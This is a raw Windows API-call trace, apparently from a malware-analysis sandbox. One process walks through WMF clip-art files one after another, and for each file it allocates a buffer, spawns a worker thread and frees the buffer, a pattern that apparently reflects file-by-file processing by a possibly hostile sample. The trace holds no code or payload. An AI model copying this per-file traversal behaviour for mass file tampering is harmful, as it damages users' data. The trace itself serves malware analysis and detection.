	[0266.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2384
	[0266.636] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.636] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1
	[0266.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2388
	[0266.638] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.638] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1
	[0266.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238c
	[0266.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.640] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1
	[0266.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2390
	[0266.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.643] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1
	[0266.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2394
	[0266.644] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.645] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1
	[0266.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2398
	[0266.646] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.647] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1
	[0266.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x239c
	[0266.649] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.649] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1
	[0266.649] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a0
	[0266.794] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.795] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1
	[0266.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a4
	[0266.797] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.798] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1
	[0266.798] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23a8
	[0266.799] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.800] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1
	[0266.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ac
	[0266.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.802] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1
	[0266.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b0
	[0266.804] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.804] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1
	[0266.804] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b4
	[0266.806] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.806] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1
	[0266.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23b8
	[0266.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.808] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1
	[0266.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23bc
	[0266.810] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.811] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1
	[0266.811] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c0
	[0266.812] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.813] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1
	[0266.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c4
	[0266.815] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.816] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1
	[0266.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c8
	[0266.818] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.818] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1
	[0266.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23cc
	[0266.821] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.821] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1
	[0266.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d0
	[0266.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.824] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1
	[0266.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d4
	[0266.827] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.827] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1
	[0266.827] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d8
	[0267.048] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.049] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1
	[0267.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23dc
	[0267.052] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.053] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1
	[0267.053] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e0
	[0267.055] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.056] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1
	[0267.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e4
	[0267.058] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.059] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1
	[0267.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e8
	[0267.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.062] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1
	[0267.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0267.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ec
	[0267.064] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.065] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1
